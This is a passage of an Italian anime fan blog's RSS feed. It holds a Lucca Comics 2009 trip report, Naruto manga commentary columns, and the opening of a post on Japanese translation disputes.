<p>L&#8217;unico flemmatico e quasi divertito sembrava proprio il Navigakito, forse un po&#8217; inibito dal suo mal d&#8217;auto. Tornante dopo tornante, la strada diventa più sconnessa, scompare la ringhiera, ma in compenso davanti ai nostri occhi appare la distesa della pianura Pisana, talmente vicina e nitida che, pare, si dovrebbe riuscire a scorgere la Torre di Pisa e, in lontanaza, il mare con le isole. Per adesso, nel buio della notte, possiamo solo immaginare queste bellezze e pensare che, porca suina, stiamo veramente finendo in culo al mondo!!! Il nostro pensiero va a Dena: riusciremo a rivederlo prima di morire&#8230;?</p>
<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-medium wp-image-20344" title="100_8905" src="http://www.komixjam.it/wp-content/uploads/2009/11/100_8905-300x225.jpg" alt="100 8905 300x225 Lucca Comics & Games 2009: Komixjam report   Day One!" width="300" height="225" />Quando scorgiamo il parcheggio del residence, ci sembra un miraggio. Siamo davvero arrivati? Pare di sì. E pare che sia proprio un bel posto, con una vista effettivamente mozzafiato. Ci guardiamo tra noi e un pensiero ci coglie: ce l&#8217;abbiamo fatta! Anzi&#8230; no&#8230;! Adesso qualcuno deve accompagnarmi giù in paese a prendere le ragazze, e dovremo rifare tutto da capo! Approfittando del fatto che abbiamo a disposizione dei veri e propri appartamenti, decidiamo che una sana pizza e qualche birra sia il modo migliore per nutrirci e celebrare a nostra prima vera impresa. Per metterci intorno a un tavolo, ridere, scherzare, e capire che in fondo non conta quanta strada in salita ci sia da fare, quanto il fatto che siamo insieme a farla, insieme in questa avventura.</p>
<p>Giusto il tempo di sistemare i bagagli e io, Akito e Cipo ci fiondiamo nuovamente giù per i tornanti, non più spaventati ma esaltati e contenti, per recuperare Steffi e Excel e procurarci il cibo.</p>
<p>Excel e Steffi ci appaiono subito come due ragazze entusiaste ed emozionatissime per il loro primo comics. Non prestano molta attenzione ai nostri racconti un po&#8217; atterriti dalla strada che abbiamo dovuto fare per andarle a prendere. Sono ansiose di unirsi al gruppo e di dare inizio alla loro esperienza, in più sensi <img src='http://www.komixjam.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="Lucca Comics & Games 2009: Komixjam report   Day One!" />  . Ci fiondiamo quindi in pizzeria, dopo un parcheggio rocambolesco del Blurry che riesce a infilare la C5 di suo padre in un fazzoletto di marciapiede. Una performance veramente degna del plauso di tutti i presenti. Entriamo nel classica minuscola pizzeria da paesino sperduto, c&#8217;è spazio a malapena per noi cinque in piedi. Facciamo le nostre ordinazioni a una pizzaiola dallo spiccato accento lucchese e restiamo in attesa&#8230; L&#8217;attesa è tutt&#8217;altro che noiosa perché ci permette di iniziare a fare conoscenza: ci scambiamo le nostre esperienze universitarie (ingegneria, lingue, medicina&#8230;), ci riallacciamo ai nostri discorsi sul forum e sul blog, si inizia a creare quell&#8217;intesa che fa da collante sociale a qualsiasi gruppo che si rispetti. Ottenuto il cibo, è tempo di tornare in hotel. Ormai i tornanti immersi nel bosco sono diventati nostri amici e possiamo goderci il paesaggio senza pensare a niente di angosciante.</p>
<p>La cena viene allestita nell&#8217;appartamento che divido con Akito e Cipo. Una bella tavolata alla quale si uniscono anche Leila e Alex, e durante la quale succede un po&#8217; di tutto. Mentre fuori si muore dal freddo, dentro si avvicendano scenette, battute, commenti sulla pizza assai gommosa (ecchissene! Deve solo saziare!!!), sulla pucciosità di Cipo, si diffondono nell&#8217;aria sostanze che destano stupore in me e Cipo (chi vuole intendere intenda!), si impazzisce con grande allegria e ci si inizia a riposare in vista di quella che sarà la giornata seguente. Il Sabato del comics. L&#8217;unico grosso imprevisto della serata è una visita di Madara Uchiha che, pensando di trovarsi alla riunione dei cinque kage, inizia ad illustrare il proprio piano diabolico finanziato dalla comunità europea, peraltro senza essere particolarmente cagato, almeno finché qualcuno non gli fa notare che le converse verdi non sono esattamente un indumento adeguato al calibro del personaggio&#8230;</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/TN0HRFpmIrg&amp;hl=it&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/TN0HRFpmIrg&amp;hl=it&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Dopo questa bella serata mi ritiro un po&#8217; in camera mia, nel mio bel letto matrimoniale. Tanti pensieri affollano la mia mente: mi sembra impossibile che solo poche ore prima mi trovavo all&#8217;università a seguire una lezione di microbiologia e che adesso invece sia a Lucca e mi sembri passato un secolo. Sono sperduto su un colle nel nulla, separato dalla civiltà da una lunghissima strada tutta tornanti potenzialmente mortale. A tavola ho visto cose dell&#8217;altro mondo, come le patatine al gamberetto di Akito o la micidiale miscela per fare i palloncini (che akito aveva portato pensando fosse da mangiare!). Penso che il giorno seguente dovrò stare in cosplay, al freddo e al gelo. Penso con tristezza con Dena non è dei nostri e che la cosa deve bruciargli da morire. Mi viene in mente la lunga giornata, mi chiedo come possa il tempo contrarsi e dilatarsi in questo modo. Mi tornano in mente i colori di una città che vive sempre più in simbiosi con questo evento, le urla di allegria della gente, i cosplayers che scorrazzano ovunque, perché a Lucca in quei giorni tutto è normale, tutto è accettabile&#8230; Penso che la mattina seguente dovrò caricare in macchina 7 persone e che in qualche modo ci dovremo arrangiare, penso che dall&#8217;alto del nostro cucuzzolo, con la pizza sulla stomaco e l&#8217;emozione che mi riempie il cuore non sono in grado di pianificare la giornata seguente&#8230; Dove parcheggeremo? Come ci organizzeremo? Verranno i nostri lettori? Riusciremo a parlare con la gente? Tutto sommato, capisco anche che tutto questo non conta. La stanchezza, l&#8217;emozione, il tempo che si dilata, il cuore che si affeziona a persone prima di allora sconosciute. Tutto questo è Lucca Comics. Capisco che è cominciato. Che domani andrà come andrà e ci divertiremo. Siamo insieme e tutto sommato siamo felici.</p>
<p><em>Fine Primo Giorno&#8230; つづく．．．</em></p>
<ul>
<li><a href="http://www.komixjam.it/komixjam-lucca-comics-report-day-one/">Lucca Comics &amp; Games 2009: Komixjam report – Day one!</a></li>
<li><a href="http://www.komixjam.it/komixjam-lucca-comics-day-two/">Lucca Comics &amp; Games 2009: Komixjam report – Day two!</a></li>
<li><a href="http://www.komixjam.it/lucca-comics-games-2009-komixjam-report-day-three/">Lucca Comics &amp; Games 2009: Komixjam report – Day three!</a></li>
</ul>


<p>Related posts:<ol><li><a href='http://www.komixjam.it/lucca-comics-games-2009-komixjam-report-day-three/' rel='bookmark' title='Permanent Link: Lucca Comics &#038; Games 2009: Komixjam report – Day three!'>Lucca Comics &#038; Games 2009: Komixjam report – Day three!</a></li>
<li><a href='http://www.komixjam.it/komixjam-lucca-comics-day-two/' rel='bookmark' title='Permanent Link: Lucca Comics &#038; Games 2009: Komixjam report – Day two!'>Lucca Comics &#038; Games 2009: Komixjam report – Day two!</a></li>
<li><a href='http://www.komixjam.it/incontra-komixjam-al-lucca-comics-2009/' rel='bookmark' title='Permanent Link: Incontra Komixjam al Lucca Comics 2009'>Incontra Komixjam al Lucca Comics 2009</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/komixjam-lucca-comics-report-day-one/feed/</wfw:commentRss>
		<slash:comments>88</slash:comments>
		</item>
		<item>
		<title>L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!</title>
		<link>http://www.komixjam.it/langolo-del-blurry-23-caccia-alla-volpe/</link>
		<comments>http://www.komixjam.it/langolo-del-blurry-23-caccia-alla-volpe/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 18:17:08 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
		<category><![CDATA[blurry]]></category>
		<category><![CDATA[Naruto]]></category>
		<category><![CDATA[Shunran]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=11953</guid>
		<description><![CDATA[D&#8217;accordo, non è esattamente il 15 Marzo, ma faceva lo stesso tanto figo. E dunque un saluto caloroso dal vostro Blurry! Avrei voluto onorare il nostro appuntamento della scorsa settimana, ma purtroppo le mie condizioni fisico-universitarie non mi hanno permesso di fare tutto quello che avrei voluto. In compenso sono arrivate buone notizie e la [...]


Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-largo-alla-bakumania/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #11 &#8211; Largo alla Bakumania&#8230;!'>L&#8217;Angolo del Blurry #11 &#8211; Largo alla Bakumania&#8230;!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-5-sondaggio-e-giapponese/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!'>L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-22-what-goes-around-comes-around/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #22 &#8211; What goes around comes around&#8230;!'>L&#8217;Angolo del Blurry #22 &#8211; What goes around comes around&#8230;!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-thumbnail wp-image-11955" title="img_08181" src="http://www.komixjam.it/wp-content/uploads/2009/03/img_08181-150x150.jpg" alt="img 08181 150x150 LAngolo del Blurry #23   Caccia alla volpe!" width="150" height="150" />D&#8217;accordo, non è esattamente il 15 Marzo, ma faceva lo stesso tanto figo. E dunque un saluto caloroso dal vostro Blurry! Avrei voluto onorare il nostro appuntamento della scorsa settimana, ma purtroppo le mie condizioni fisico-universitarie non mi hanno permesso di fare tutto quello che avrei voluto. In compenso sono arrivate buone notizie e la settimana passata ha portato, insieme alle piogge torrenziali che hanno trasformato Firenze in una gigantesca pozzanghera, anche tante novità, nel mondo dei manga e non. Parliamone iniseme!</p>
<p><span id="more-11953"></span></p>
<p>La prima cosa che vi dirò, lo ammetto, è un po&#8217; vanagloriosa. Se ricorderete, qualche mese fa mi ero recato a Roma per sostenere un arduo esame di giapponese che, se superato, mi avrebbe conferito un riconoscimento oggettivo e insindacabile, nonché la possibilità di frequentare corsi universitari nel Sol Levante e di implementare gli sbocchi lavorativi. Ecco, sono fiero di poter condividere con voi la gioia per questo traguardo raggiunto: qualche giorno fa ho ricevuto l&#8217;attestato che conferma il superamento dell&#8217;esame (peraltro con un bel punteggio!) e posso adesso puntare all&#8217;ultimo livello nella scala di difficoltà. Sono molto orgoglioso di questo risultato, soprattutto pensando che è stato conseguito con le mie sole forze (e con la spinta che mi avete sempre dato a continuare a tradurre e d esercitarmi), ma soprattutto in contemporanea con i miei esami universitari: insomma, alla fine dei giochi in questo semestre sono riuscito a superare brillantemente 7 esami. Non senza una bella dose di stress, s&#8217;intende, ma come amo ripetere, nella vita senza sudare e fare sacrifici non è che si arrivi molto lontani. Non che arrivare lontani sia obbligatorio. E allora diciamo che a me piace.</p>
<p>Dopo questa breve parentesi autocelebrativa, passiamo a Naruto. Sei code. L&#8217;avreste mai detto? Io, onestamente, no. Devo ancora riprendermi dal dispiacere di apprendere che Hinata è solo tramortita, ma posso dirvi in tutta franchezza che questa repentina trasformazione di Naruto nel vedere la sua amica fatta a pezzettini mi sembra un po&#8217; affrettata e, tutto sommato, anche un po&#8217; banale. Già ci era stata presentata come pericolosissima e atroce la trasformazione con quattro code: come minimo, adesso dovremmo aspettarci di vedere Naruto arrostito se vogliamo mantenere fede alla proporzione dei fatti! Yamato è già terrorizzato, ma tanto il ciondolo del Primo Hokage è già stato fatto fuori come bigiotteria dozzinale, e se Sakura spera davvero di far tornare Naruto in sé. beh, allora sarà sufficiente che si ricordi di quanto è stata ascoltata l&#8217;ultima volta che ci ha provato&#8230; Pain sta per sfoderare una nuova tecnica chiamata &#8220;Chibaku Ten&#8217;in&#8221;. Ho sempre una certa difficoltà a trovare traduzioni appropriate per le tecniche di Pain, così finisco spesso per lasciarle in lingua originale senza fornire troppe spiegazioni. Se vi interessa, &#8220;chibaku&#8221; (<span>地瀑</span>) significa qualcosa come &#8220;esplosione di terra&#8221;&#8230; Sì, insomma, uno di quei cosi che crea un cratere gigantesco. Va bene che Orochimaru era una specie di mezza calzetta se confrontato alle altre personalità di casa Akatsuki, ma davvero è credibile che una tecnica singola possa mettere KO il Kyuubi? Non so, ma per me sarebbe una delusione non da poco. A questo punto la cattura di Naruto si configurerebbe come un evento non tanto possibile, quanto piuttosto probabile. Gli scenari che si aprirebbero in questo caso sono a mio parere molto interessanti. Anche se, se non sbaglio, non dobbiamo dimenticare che un ultimo clone è rimasto al monte Myoboku intento ad accumulare chakra. Che sia un caso? Sicuramente no. Prima o poi dovrà tornare. E il potere donato da Itachi a Naruto? Insomma, stavolta non posso far altro che passarvi la palla. Come andrà a finire lo scontro tra Pain e Naruto? Dove sta andando la trama? Perchè il Kyuubi, perchè proprio adesso? A Voi la parola!</p>


<p>Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-largo-alla-bakumania/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #11 &#8211; Largo alla Bakumania&#8230;!'>L&#8217;Angolo del Blurry #11 &#8211; Largo alla Bakumania&#8230;!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-5-sondaggio-e-giapponese/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!'>L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-22-what-goes-around-comes-around/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #22 &#8211; What goes around comes around&#8230;!'>L&#8217;Angolo del Blurry #22 &#8211; What goes around comes around&#8230;!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/langolo-del-blurry-23-caccia-alla-volpe/feed/</wfw:commentRss>
		<slash:comments>89</slash:comments>
		</item>
		<item>
		<title>L&#8217;Angolo del Blurry #22 &#8211; What goes around comes around&#8230;!</title>
		<link>http://www.komixjam.it/langolo-del-blurry-22-what-goes-around-comes-around/</link>
		<comments>http://www.komixjam.it/langolo-del-blurry-22-what-goes-around-comes-around/#comments</comments>
		<pubDate>Sun, 22 Feb 2009 13:44:01 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
		<category><![CDATA[blurry]]></category>
		<category><![CDATA[Cartoomics]]></category>
		<category><![CDATA[Nagato]]></category>
		<category><![CDATA[Naruto]]></category>
		<category><![CDATA[Pein]]></category>
		<category><![CDATA[Shunran]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=11258</guid>
		<description><![CDATA[&#8230;Silenzio&#8230; Mmmh&#8230; Proviamo a vedere se c&#8217;è qualcuno&#8230; Uhm&#8230; Mah&#8230; La luce è spenta&#8230; Ahi&#8230; Cavolo&#8230;. Sul pavimento dev&#8217;esserci ancora il casino che facemmo col 21&#8230; Uh! Ah&#8230; Non c&#8217;è nessuno&#8230; Però magari se scrivo qualcosa iniziano a tornare&#8230; Sì&#8230; E magari ricominciamo a discutere&#8230; E magari la discussione si rianima&#8230; E magari si divertono&#8230; [...]


Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-23-caccia-alla-volpe/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!'>L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-5-sondaggio-e-giapponese/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!'>L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!</a></li>
<li><a href='http://www.komixjam.it/blurry-chat-meeting-1/' rel='bookmark' title='Permanent Link: Blurry chat meeting #1'>Blurry chat meeting #1</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-thumbnail wp-image-11324" title="ripetitore" src="http://www.komixjam.it/wp-content/uploads/2009/02/ripetitore-150x150.jpg" alt="ripetitore 150x150 LAngolo del Blurry #22   What goes around comes around...!" width="150" height="150" />&#8230;Silenzio&#8230; Mmmh&#8230; Proviamo a vedere se c&#8217;è qualcuno&#8230; Uhm&#8230; Mah&#8230; La luce è spenta&#8230; Ahi&#8230; Cavolo&#8230;. Sul pavimento dev&#8217;esserci ancora il casino che facemmo col 21&#8230; Uh! Ah&#8230; Non c&#8217;è nessuno&#8230; Però magari se scrivo qualcosa iniziano a tornare&#8230; Sì&#8230; E magari ricominciamo a discutere&#8230; E magari la discussione si rianima&#8230; E magari si divertono&#8230; E magari mi diverto anch&#8217;io&#8230; E magari ne esce pure fuori qualcosa di simpatico&#8230; E magari Dena smette di frustarmi&#8230;! Ma sì&#8230; Io ci provo eh! Aprite bene le orecchie: ditelo ad amici, conoscenti, fidanzate, fidanzati, animali domestici, fratelli e sorelle: l&#8217;Angolo del Blurry è tornato! E voi ci siete?</p>
<p><span id="more-11258"></span>Ok ok&#8230; Vediamo di ricominciare col <strong>piede giusto</strong>, esattamente come ci eravamo lasciati. Per prima cosa, quindi, vi chiedo scusa per questa <strong>assenza</strong>, anche se in realtà è stata tutt&#8217;altro che volontaria e determinata da cause di forza maggiore. Come ormai sanno anche i muri, io sono prima di tutto uno studente di Medicina, impegnato come tale in esami estenuanti, un minimo di lavoro e in giornate di studio, soprattutto in questo periodo dell&#8217;anno. La sessione di esami, comunque, sta andando stupendamente e dunque sono assai soddisfatto. Purtroppo, però, si sono verificati anche problemi che non avrei mai potuto prevedere e hanno condizionato in maniera molto pesante la mia vita degli ultimi due mesi. Diciamo che alla fine, probabilmente, tutti gli accidenti dei miei detrattori hanno avuto qualche effettuccio&#8230; Eheh.</p>
<p>Quale miglior modo di riprendere le nostre discussioni se non parlare di <strong>Naruto</strong>? Finalmente abbiamo scoperto il segreto di Pain! In effetti già da tempo sapevamo che il pazzoide doveva in qualche modo aver a che fare col mondo delle telecomunicazioni e con l&#8217;UMTS &#8211; ricordate che Pain è capace di organizzare videochiamate multiple in pochi secondi! &#8211; ma adesso finalmente abbiamo visto la sua vera forma e la sua identità riluce fulgida di fronte ai nostri occhi&#8230; Pain è un ripetitore della Vodafone! Anche lo Shinra Tensei, in effetti, è in piena sintonia con un famoso slogan pubblicitario dell&#8217;azienda, quello pronunciato dalla formosa Megan Gale che suonava più o meno come &#8220;E&#8217; tutto intorno a te&#8221;. Eccome, eh. Anche il piano segreto di Pain ormai è tutt&#8217;altro che difficile da prevedere: utilizzare i bijuu come fonte di chakra per battere la concorrenza degli altri operatori telefonici ed estendere il proprio controllo su tutte le nazioni, rendendo dunque vano e superfluo il caro vecchio roaming internazionale.</p>
<p>Cazzate a parte, se da una parte lamento un po&#8217; di trascuratezza nel modo in cui Kishimoto ha liquidato l&#8217;addestramento di Naruto &#8211; francamente un po&#8217; tirato via &#8211; non posso che apprezzare quello che è stato finora lo scontro tra Naruto e Pain. In fondo, è inutile lamentarsi, era ciò che molti di noi aspettavano da molto tempo: poter finalmente vedere Naruto giocarsela alla pari con avversari del calibro dello psicopatico semidio del villaggio della Pioggia. Anche l&#8217;apparente eccessiva facilità con cui si è sbarazzato dei primi quattro corpi è stata abbondantemente compensata dalle difficoltà che adesso l&#8217;hanno costretto a terra, con la mano infilzata a mo&#8217; di spiedino. Abbiamo visto un Naruto irruento come sempre, ma anche più attento all&#8217;aspetto strategico del combattimento. L&#8217;utilizzo dei kagebunshin sarà anche venuto a noia a molti di noi, ma io credo che tutto sommato sia perfettamente in linea con i presupposti di questo manga, dove un ninja molto spesso è forte e vincente non perchè conosca molte tecniche, quanto piuttosto perchè sa sfruttare al massimo quelle due o tre che conosce. Ne va dello spettacolo? Non lo so. A me tutto sommato va benissimo così.</p>
<p>Quello che invece mi preme osservare è che dall&#8217;ultimo capitolo ho ricavato la netta impressione che questo combattimento non si stia giocando tanto sul piano delle tecniche e della strategia, quanto piuttosto su quello dell&#8217;ideologia; e in questo senso niente è scontato, neppure il confine tra bene e male, neppure lo schieramento della ragione. Se leggiamo questo scontro alla luce della storia dei due personaggi che lo stanno mettendo in atto, ci rendiamo subito conto che Kishimoto si sta giocando in questa contrapposizione ideologica gran parte del senso generale del manga. In che senso? Siamo tutti d&#8217;accordo sul fatto che Nagato sia un esaltato. Non c&#8217;è dubbio che la sua sia una battaglia folle combattuta in nome di una giustizia all&#8217;inverso. Ma, rifletteteci: cosa ha detto, finora, di concettualmente sbagliato? Nagato non si illude minimamente di poter portare nel mondo una pace eterna. Lo dice chiaramente: il suo desiderio è quello di creare un&#8217;arma di distruzione capace di mettere a tacere l&#8217;umanità per brevi periodi. Nagato si pone come un fabbricatore di periodi di pace transitori ed effimeri. Perchè? Perchè secondo lui gli esseri umani finiscono sempre per dimenticare il dolore della guerra e della morte e dunque non possono fare a meno di finire nuovamente a combattersi tra loro. Ecco. Pensiamo a questo. E&#8217; un ragionamento sbagliato? Non intavolare discussioni di carattere storico e antropologico che non mi competono, ma è intuitivo che la storia dell&#8217;Homo Sapiens sia un susseguirsi di guerre, e che la devastazione ed il dolore che esse ci hanno portato nel corso dei secoli non sono mai stati un valido deterrente. Prima o poi, si finisce sempre a combattere per gli interessi nazionali, o per cose anche più stupide. Ora noi viviamo in un paese, l&#8217;Italia, che ha conosciuto il dolore della guerra in tempi assai recenti. Ma ve la sentireste di dire che questo ci mette, in definitiva, al sicuro dall&#8217;ipotesi che nuove guerre possano coinvolgerci? Personalmente, non me la sento. Perchè forse le guerre sono eccessivamente umane. L&#8217;unica differenza è che adesso per combatterle disponiamo di armi che in pochi secondi possono cancellare una nazione.</p>
<p>Naruto, d&#8217;altra parte, è il figlio di una nazione che non è sempre stata animata da buoni sentimenti e nobili principi. Konoha e il Paese del Fuoco sono grandi potenze, e si comportano come farebbe qualsiasi altra grande potenza, con le proprie logiche imperialistiche e territoriali. Naruto, però, non ha colpa di tutto ciò. Lui crede veramente di poter riportare la pace di poter realizzare il desiderio del suo Maestro, che credeva fermamente che sarebbe giunta un&#8217;epoca di pace e comprensione reciproca. Quanto questo sia utopico e naive è sotto gli occhi di tutti. Ma ciò che conta è che sia Jiraiya che Naruto credano sinceramente e genuinamente in questo sogno. In questo senso Naruto affronta Pain portando sulle spalle, senza saperlo e senza averne colpa, il peso di tutti i misfatti del Paese del Fuoco e, più in generale, di tutta una logica di potere e di anni di conflitti&#8230; Tutte cose alle quali lui è completamente estraneo. D&#8217;altra parte è difficile non simpatizzare almeno un po&#8217; per Nagato, figlio di un piccolissimo Paese e di un piccolo villaggio costantemente sottoposti alle razzie di guerra dagli altri paesi. Una terra che diventava puntualmente un campo di battaglia a spese dei suoi abitanti che in tutto questo non avevano alcuna colpa. Certo, Nagato è un pazzoide, ci sarebbero stati molti modi per realizzare il suo desiderio di pace, ma credo che gli si possano riconoscere molte attenuanti.</p>
<p>Tutto ciò non è banale. No, perchè rientra in un discorso che Kishimoto porta avanti dal primo volume di Naruto. A mio parere si sprecano i raffronti e le analogie con conflitti attualmente in corso nel mondo. Continuo a dire che, nondimeno, c&#8217;è anche molto della mentalità &#8220;positiva&#8221; di una certa parte della generazione post-bellica giapponese. Questo, senza pretendere di fare dell&#8217;antropologia che non ho le competenze per fare.</p>
<p>Per finire, vi accenno già da subito che una parte dello staff di Komixjam sarà presente al <strong>Cartoomics a Milano</strong>. Io credo proprio di partecipare a questo divertente evento. Sarà un&#8217;altra bella occasione per conoscerci: i milanesi non hanno scuse stavolta!</p>


<p>Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-23-caccia-alla-volpe/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!'>L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-5-sondaggio-e-giapponese/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!'>L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!</a></li>
<li><a href='http://www.komixjam.it/blurry-chat-meeting-1/' rel='bookmark' title='Permanent Link: Blurry chat meeting #1'>Blurry chat meeting #1</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/langolo-del-blurry-22-what-goes-around-comes-around/feed/</wfw:commentRss>
		<slash:comments>56</slash:comments>
		</item>
		<item>
		<title>L&#8217;Angolo del Blurry #21 &#8211; Rospi che parlano romano&#8230;</title>
		<link>http://www.komixjam.it/langolo-del-blurry-21-rospi-che-parlano-romano/</link>
		<comments>http://www.komixjam.it/langolo-del-blurry-21-rospi-che-parlano-romano/#comments</comments>
		<pubDate>Sun, 11 Jan 2009 00:55:46 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
		<category><![CDATA[Traduzioni]]></category>
		<category><![CDATA[blurry]]></category>
		<category><![CDATA[Naruto]]></category>
		<category><![CDATA[Shunran]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=8563</guid>
		<description><![CDATA[Credetemi. E&#8217; frustrante dover tornare un numero imprecisato di volte sullo stesso argomento, certo poi che le mie parole saranno fraintese da chi le vuole fraintendere, capite da chi le vuole capire, rigettate da chi le vuole rigettare. Tra gli esseri umani, solo una minima parte è realmente capace di seguire un ragionamento, valutarne le [...]


Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-16-blurrys-anatomy/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #16 &#8211; Blurry&#8217;s Anatomy&#8230;'>L&#8217;Angolo del Blurry #16 &#8211; Blurry&#8217;s Anatomy&#8230;</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-1/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #1'>L&#8217;Angolo del Blurry #1</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-23-caccia-alla-volpe/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!'>L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-medium wp-image-8566" title="gamabunta2hf9" src="http://www.komixjam.it/wp-content/uploads/2009/01/gamabunta2hf9-300x200.jpg" alt="gamabunta2hf9 300x200 LAngolo del Blurry #21   Rospi che parlano romano..." width="273" height="182" />Credetemi. E&#8217; frustrante dover tornare un numero imprecisato di volte sullo stesso argomento, certo poi che le mie parole saranno fraintese da chi le vuole fraintendere, capite da chi le vuole capire, rigettate da chi le vuole rigettare. Tra gli esseri umani, solo una minima parte è realmente capace di seguire un ragionamento, valutarne le implicazioni e, infine, cambiare la propria idea se quella espressa si rivela più convincente. La maggior parte di noi, per lo più, mette in atto ciò che in psicologia si chiama &#8220;bias di conferma&#8221; e, semplicemente, lascia che le cose gli entrino da un orecchio e gli escano dall&#8217;altro. Forte di questa consapevolezza un po&#8217; xenofoba &#8211; lo ammetto &#8211; mi appresto a cominciare l&#8217;ennesima inutile dissertazione sulle mie traduzioni, sul giapponese, sui Rospi, e sui luridi maleducati che parlano con la bocca grondante di ignoranza.<br />
<span id="more-8563"></span></p>
<p>Il confronto tra persone e la discussione si basano su una semplicissima possibilità che la logica dei discorsi prevede: la possibilità di <em>divergere. </em>Non bisogna a tutti i costi essere d&#8217;accordo. Grandi scienziati hanno insistito a manifestare il proprio disaccordo nei confronti di teorie considerate finali e risolutive, e alla fine sono riusciti a dimostrare di aver ragione, o comunque di aver fatto bene a divergere dall&#8217;opinione di menti brillanti almeno quanto le loro. Sì, ma qual è il punto? Il punto è che per sostenere una opinione bisogna anzitutto aver capito &#8211; più o meno profondamente &#8211; quello di cui si sta parlando. E pensateci: c&#8217;è solo una cosa più fastidiosa dell&#8217;essere criticati da persone che non hanno né le competenze né la voglia di <em>capire</em> quanto serve per poter criticare a ragion veduta. Ovvero, quando queste persone sono anche offensive  e  profondamente maleducate. Quanto è recentemente accaduto a Tanuki su un forum che non nominerò è un chiaro esempio di questa strafottenza imperante in Italia, ma anche altrove. Ora, Tanuki è un signore, e come tale ha risposto a tono a chi ha addirittura dubitato che traducesse realmente dal giapponese. Io non sono altrettanto pronto alla battuta e alla risoluzione così diplomatica e allo stesso tempo decisa. Questi avvenimenti mi fanno arrabbiare tremendamente e, dopo aver adeguatamente controllato il mio sdegno, cerco di sciogliere il disappunto scrivendo articoli come questo. Stavolta ho deciso di affrontare <em>tout court </em>il problema delle traduzioni dal giapponese utilizzando come pretesto affermazioni che ho letto su questo blog e sul forum dove Tanuki è stato scandalosamente insultato.</p>
<p>Prima che saltiate a conclusioni affrettate:</p>
